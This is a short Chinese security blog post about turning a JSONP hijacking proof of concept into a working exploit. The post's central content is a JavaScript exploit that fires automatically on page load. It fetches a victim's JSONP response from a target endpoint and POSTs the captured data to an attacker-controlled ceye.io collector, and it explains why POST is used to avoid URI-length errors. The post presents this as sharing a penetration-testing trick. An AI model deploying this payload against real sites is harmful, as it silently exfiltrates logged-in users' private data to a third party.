php redis jsonp,用ceye来利用jsonp劫持

之前测jsonp劫持的时候一般是弹个alert,就做poc了,

突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。

正文

在网上看到一般的证明脚本是

function lego(json){

alert(JSON.stringify(json))

}

于是我便想尝试一下去构造一个可以来直接利用的exp

因为这个脚本利用的是get方法

如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )

于是我就想用post的方法去请求

这种exp不能自动发起请求,需要点击按键。

b4954260e6fb1cd59c44fc0b17082119.png

与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,

在实际利用中还是差一点的,

所以我还是想让它变得更加实用一点。

首先是使用onload事件,

即页面加载完成后执行一个方法,

这个方法利用有post请求,就可以完成我所想实现的了。

exp

JSONP EXP跨域测试

function load()

{

$.ajax({

url: "http://xxx.com/info?callback=lego",

type: "GET", //指定GET请求方法

dataType: "jsonp", //指定 服务器 返回的数据类型

jsonp: "callback", //指定参数名称

jsonpCallback: "lego",

success: function (data) {

$.ajax({

type: 'POST',

url: 'http://yourceye.ceye.io/',

data: JSON.stringify(data)

});

}

})

}

当然,需要在ceye.io中注册一个账号。

效果

ad3ab2ce2ce3413a78ea94e169ecd1c4.png

当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值